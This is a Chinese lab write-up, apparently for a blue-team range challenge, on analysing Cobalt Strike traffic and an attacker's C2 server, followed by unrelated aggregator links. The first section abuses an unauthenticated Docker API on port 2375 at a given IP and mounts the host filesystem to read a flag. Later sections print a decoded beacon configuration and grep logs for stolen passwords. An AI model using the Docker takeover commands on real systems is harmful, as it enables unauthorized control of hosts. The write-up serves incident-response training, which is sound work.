CobaltStrike流量分析

news/2025/10/25 22:56:21/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19166099

CobaltStrike流量分析

1.溯源反制,提交黑客CS服务器的flag.txt内容

使用nmap扫描IP开放端口,发现开放了一个 2357端口 我们看看里面有什么

image-20251025204244245

可以看到对方IP开放了一个2375端口,我们看看有没有什么利用的方法

一、端口 2375 是什么?——Docker Remote API

基本定义

  • 端口号:2375

  • 协议类型:HTTP(明文传输)

  • 服务名称:Docker Daemon Remote API

  • 用途:允许远程客户端通过 HTTP 请求管理 Docker 容器,相当于把 docker 命令暴露在网络上。

  • 对比端口 2376

    • 2375:非加密通信(HTTP),无认证 → 极其危险
    • 2376:启用 TLS 加密(HTTPS),需证书认证 → 相对安全

⚠️ 正常情况下,该接口不应对外网开放!一旦暴露在公网且无身份验证,等于把服务器的“控制权”交给了任何人。

二、如何判断目标是否真的存在漏洞?

我们可以通过直接调用 Docker Remote API 接口来探测。

  1. 查看基本信息(无需认证)
curl http://52.83.204.237:2375/version

Bash

正常响应示例(说明服务可访问):

{"Version": "20.10.7","Os": "linux","KernelVersion": "5.4.0-72-generic","GoVersion": "go1.13.8","Arch": "amd64"
}

JSON

  1. 列出所有容器
curl http://52.83.204.237:2375/containers/json

Bash

如果返回一个 JSON 数组,包含多个容器信息,则说明你可以完全控制这些容器。

  1. 列出所有镜像
curl http://52.83.204.237:2375/images/json

Bash

只要以上任意一条命令能成功执行,就证明存在 未授权访问漏洞

image-20251025204911571

这里出现未授权漏洞,我们进一步利用

docker -H tcp://52.83.204.237:2375 ps -a #查看远程所有容器
docker -H tcp://52.83.204.237:2375 images #查看镜像列表

image-20251025210800754

docker -H tcp://52.83.204.237:2375 run -it -v /:/mnt 97662d24417b /bin/bash

在/mnt/root 下面发现了flag

image-20251025214009110

flag{6750ac374fdc3038a67e95e1f21d455c}

2.黑客攻击主机上线时间是?(flag{YYYY-MM-DD HH:MM:SS})

分析靶机给我们的数据包 简单的过滤一下http流量

image-20251025214534130

可以发现第一个数据包就是Cobalt Strike分阶段加载payload上线的时间点

flag{2025-02-12 20:12:52}

3.黑客使用的隧道payload名字是什么?

使用wireshark打开流量包,文件模块->导出对象->HTTP

image-20251025214708153

将这个流量包下载到本地 https://github.com/minhangxiaohui/CSthing 1768.py 是一个专门用于检测和分析 Cobalt Strike 信标(Beacon)流量的 Python 工具。它得名于 Cobalt Strike 信标流量中的一个关键特征值:1768 字节。

image-20251025214732555

image-20251025214910076

File: FJwV
xorkey(chain): 0x1f6828ff
length: 0x040e00ad
xorkey b'.' 2e
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 80
0x0003 sleeptime                        0x0002 0x0004 60000
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 0
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri                   0x0003 0x0100 '192.168.31.170,/en_US/all.js'
0x0043 DNS_STRATEGY                     0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS      0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X              0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS        0x0002 0x0004 -1
0x000e SpawnTo                          0x0003 0x0010 (NULL ...)
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme                     0x0001 0x0002 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0025 license-id                       0x0002 0x0004 666666
0x0024 deprecated                       0x0003 0x0020 'MYhXSMGVvcr7PtOTMdABvA=='
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0047 MAX_RETRY_STRATEGY_ATTEMPTS      0x0002 0x0004 0
0x0048 MAX_RETRY_STRATEGY_INCREASE      0x0002 0x0004 0
0x0049 MAX_RETRY_STRATEGY_DURATION      0x0002 0x0004 0
0x0009 useragent                        0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)'
0x000a post-uri                         0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions        0x0003 0x0100Transform Input: [7:Input,4]Print
0x000c http_get_header                  0x0003 0x0200Build Metadata: [7:Metadata,3,6:Cookie]BASE64Header Cookie
0x000d http_post_header                 0x0003 0x0200Const_header Content-Type: application/octet-streamBuild SessionId: [7:SessionId,5:id]Parameter idBuild Output: [7:Output,4]Print
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0032 UsesCookies                      0x0001 0x0002 1
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK                        0x0001 0x0002 0
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 '\x04à¡\x1bå\x91G¨×=+>\x9fê\x83,'
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.4 (max 0x0049)
Sanity check Cobalt Strike config: OK
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x00010176 (LSFIF: b'tYE3')
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x0001030e (LSFIF: b'tYE3')
Public key config entry found: 0x0003b65d (xorKey 0x2e) (LSFIF: b'././.,...,./.,.~.-.,.*..')
Public key header found: 0x0003b663 (xorKey 0x2e) (LSFIF: b'N.*.,.*.>...+./.,...).-/.')
flag{windows-beacon_http-reverse_http}

4.黑客获取到当前用户的明文密码是什么?

我们寻找 cobaltstrike.beacon_keys文件在哪里

cobaltstrike.beacon_keysCobalt Strike 客户端生成并维护的一个本地文件,用于存储与每个上线的 Beacon(远控客户端)通信所需的加密密钥信息

find  /  -name .cobaltstrike.beacon_keys

image-20251025215537417

/mnt/opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/.cobaltstrike.beacon_keys

在logs里记录了服务器上线以及命令执行的情况对logs路径进行关键字搜索:

grep -r "Password" ./logs |grep -v "null"

image-20251025220145785

image-20251025220234507

可以看到黑客获取当前用户的明文密码

flag{xj@cs123}

5.黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})

需要结合流量包对Cobalt Strike流量数据进行解密
原理参考:https://forum.butian.net/share/1861
经过学习得知,每一个GET请求的Cookie结合私钥都可以得出Raw key,默认只有响应包与POST请求包是用对称算法加密的,其它的GET请求只是心跳包(POST是命令执行结果,响应包是指令)。
(本地尝试解密的情况是解密流量中含有心跳包会报错Exception: HMAC signature invalid)
所以要得到黑客修改命令需要对响应包进行解密:
先将所有的响应包分组取出:
http.response.code == 200

按照大佬的步骤来,这里得先过滤 code为200的流量

image-20251025220649808

给选中的数据包打上一个“标记”(Mark),帮助你在海量抓包中快速区分、定位、过滤它们。

相当于在数据包列表里「插旗」,方便之后回来看或导出。

image-20251025220903121

image-20251025220941355

image-20251025221021214

从.cobaltstrike.beacon_keys(在服务器的CS目录下)取出Cobalt Strike的私钥(自己调ai写了一个反序列化脚本)

image-20251025221242461

先讲这个文件进行base64加密

image-20251025221830162

复制输出的一大串 Base64 文本,在本地保存为文件:

echo "上面那一大串Base64" | base64 -d > cobaltstrike.beacon_keys

image-20251025221906355

这里我复现完之后没有调试出来反序列化代码,直接看大佬的答案了

image-20251025222327707

详情参考 :https://www.cnblogs.com/blue-red/p/19022396

flag{73aeb8ee98d124a1f8e87f7965dc0b4a}

6.黑客下载的文件名称是什么?

这依旧是搜索log日志下面的内容 在CS服务器路径下搜索关键字download:

grep -r "download" ./logs |grep -v "unknown"

image-20251025222726950

flag{xxx服务器运维信息.xlsx}

7.黑客下载的文件内容是什么?

因为这里没有连接finalshell所有还是使用老办法(懒)将文件进行base64保存到本地再解密base64

image-20251025223741410

放入共享文件里面 然后在windows上修改后缀为 xlsx 双击即可看到flag

image-20251025223732610

image-20251025223721560

flag{752fe2f44306e782f0d6830faad59e0e}		

8.黑客上传的文件内容是什么?

在CS服务器路径下搜索关键字“upload”并打开具体日志文件查看

grep -r "upload" ./logs

image-20251025224123282

image-20251025224209201

打开流量包查看对应流量:对应的流量包的UTC时间要+8

这我又不会了详情参考大佬吧:https://www.cnblogs.com/blue-red/p/19022396

flag{Hacker}

9.黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)

在CS服务器路径下搜索截屏命令的关键字:

grep -r "screen" ./logs |grep -v "unknown"

image-20251025224551475

flag{chrome}

10.黑客读取到浏览器保存的密码是什么?

在CS服务器路径下搜索截屏命令的关键字:

grep -r "PASSWORD" ./logs |grep -v "null"

image-20251025224638128

flag{0f338a1a6ad8785cee2b471d9d3e9f91}

11.黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)

查找logs中得到键盘记录日志

image-20251025225025209

image-20251025225036161

flag{xj.edisec.net}

最后感谢两位大佬的wp (给榨干了)

玄机蓝队靶场_应急响应_114:CobaltStrike流量分析

基于玄机靶场CobaltStrike流量分析题目的学习笔记

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/946491.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南

2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南 在工业自动化快速发展的今天,自动上料机作为生产线的重要环节,其性能直接影响生产效率和产品质量。螺旋上料机、真空…

建立VLAN间通信

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

用代码将txt分别转换成列表和字典

txt = """男孩:boy 女孩:girl 姓名:name 年龄:age 性别:sex""" # 转换为字符串列表(每行一个元素) str_list = [line for line in txt.split(\n)] # 创建中-英字典 zh_en_dict =…

AtCoder Beginner Contest 429 ABCDEF 题目解析

A - Too Many Requests 题意 给定正整数 \(N\) 和 \(M\)。 输出 \(N\) 行,对于第 \(i\) 行:如果 \(i\leq M\) ,则输出 OK 否则输出 Too Many Requests代码 void solve() {int n, m;cin >> n >> m;for(i…

2025年提升机厂家推荐排行榜,自动提升机,垂直提升机,物料提升机,工业提升设备公司精选

2025年提升机厂家推荐排行榜:自动提升机、垂直提升机、物料提升机、工业提升设备公司精选 在工业自动化浪潮持续深入的今天,提升设备作为物料输送系统的核心组成部分,正经历着技术革新与产业升级的双重变革。自动提…

刷题日记—数组—布尔数组的应用

前几天刷题碰到了种树,切方块类型的题目,这类题目用布尔类型判断每一个个体的状态,最后根据每个元素对应的布尔值来统计数目:如下: 1.移数问题:解题步骤如下:```plaintext include using namespace std; bool fl…

How to Build an Agent

How to Build an Agent https://www.bilibili.com/video/BV1G2uSzqErU/?spm_id_from=333.788.videopod.sections&vd_source=57e261300f39bf692de396b55bf8c41b https://blog.langchain.com/how-to-build-an-agent…

树状数组 区间加 区间和 小记

树状数组 区间加 & 区间和 小记 考虑差分数组的变化,即 \(d_i=a_i-a_{i-1}\)。 那么区间加时,会使 \(d_l\gets d_l+val,d_{r+1}\gets d_{r+1}-val\)。 考虑求区间和,转化为求前缀的和,即求 \[\begin{aligned} …

if 语句

代码缩进为一个 tab 键,或者四个空格,建议用四个空格。 同级代码必须缩进相同空格,if 和 else 里面缩进不同没关系,比如 if 下面缩进是 4 个空格,else 下面缩进是 2 个空格,是完全没有问题的。 程序示例: weath…

深入解析:ue编辑器视口鼠标消失的问题

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

详细介绍:k8s中的kubelet

详细介绍:k8s中的kubeletpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &…

详细介绍:React Native 中的 useState、Context

详细介绍:React Native 中的 useState、Contextpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

【MySQL】Oracle与MySQL,跨库数据转储 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

昨夜雨疏风骤

热爱过分浅薄 习惯劳而不获好像把一切都搞得很糟糕。 每天都在胡思乱想胆战心惊。 我什么时候这么拘泥了? I literally want.... 心虚。空虚。 差不多得了。 把别人想的太复杂。是自己邪恶的表现。 你是一个需要专心…

明天的任务

1、找到目标即所有能想到的让自己念头不通达的问题,然后总结这些领域的”基本现实“ 2、制定相应的解决计划 3、行动,并在行动中不断修正和完善 基本现时 和计划,但是目标不能动,即不能半途而废。 一、 1、如何通过…

Windows SMB权限提升漏洞遭活跃利用

CISA警告Windows SMB权限提升漏洞正被活跃利用,微软发布带外修复补丁。俄罗斯COLDRiver组织快速更新恶意软件库,GlassWorm恶意软件使用隐形Unicode字符隐藏恶意逻辑。欧洲当局捣毁拉脱维亚大型SIM农场运营。安全漏洞…

深度神经网络 —— 使用深度自动编码器进行手写数字的去噪音

深度神经网络 —— 使用深度自动编码器进行手写数字的去噪音代码:训练后的本博客是博主个人学习时的一些记录,不保证是为原创,个别文章加入了转载的源地址,还有个别文章是汇总网上多份资料所成,在这之中也必有疏漏…

深度神经网络 —— 使用深度自动编码器进行手写数字的去噪音

深度神经网络 —— 使用深度自动编码器进行手写数字的去噪音代码:训练后的本博客是博主个人学习时的一些记录,不保证是为原创,个别文章加入了转载的源地址,还有个别文章是汇总网上多份资料所成,在这之中也必有疏漏…

江西振兴杯决赛Misc全解

江西振兴杯决赛Misc全解 题目很有意思,写不出来的话确实不应该 1 签到 2进制-16进制-base 直接toolsfx去attackflag{730b3805-f606-8faa-6e3d-768453b53b94}2容易让人想到K17CTF空间扭曲题目 不过这题需要手动扣取,并…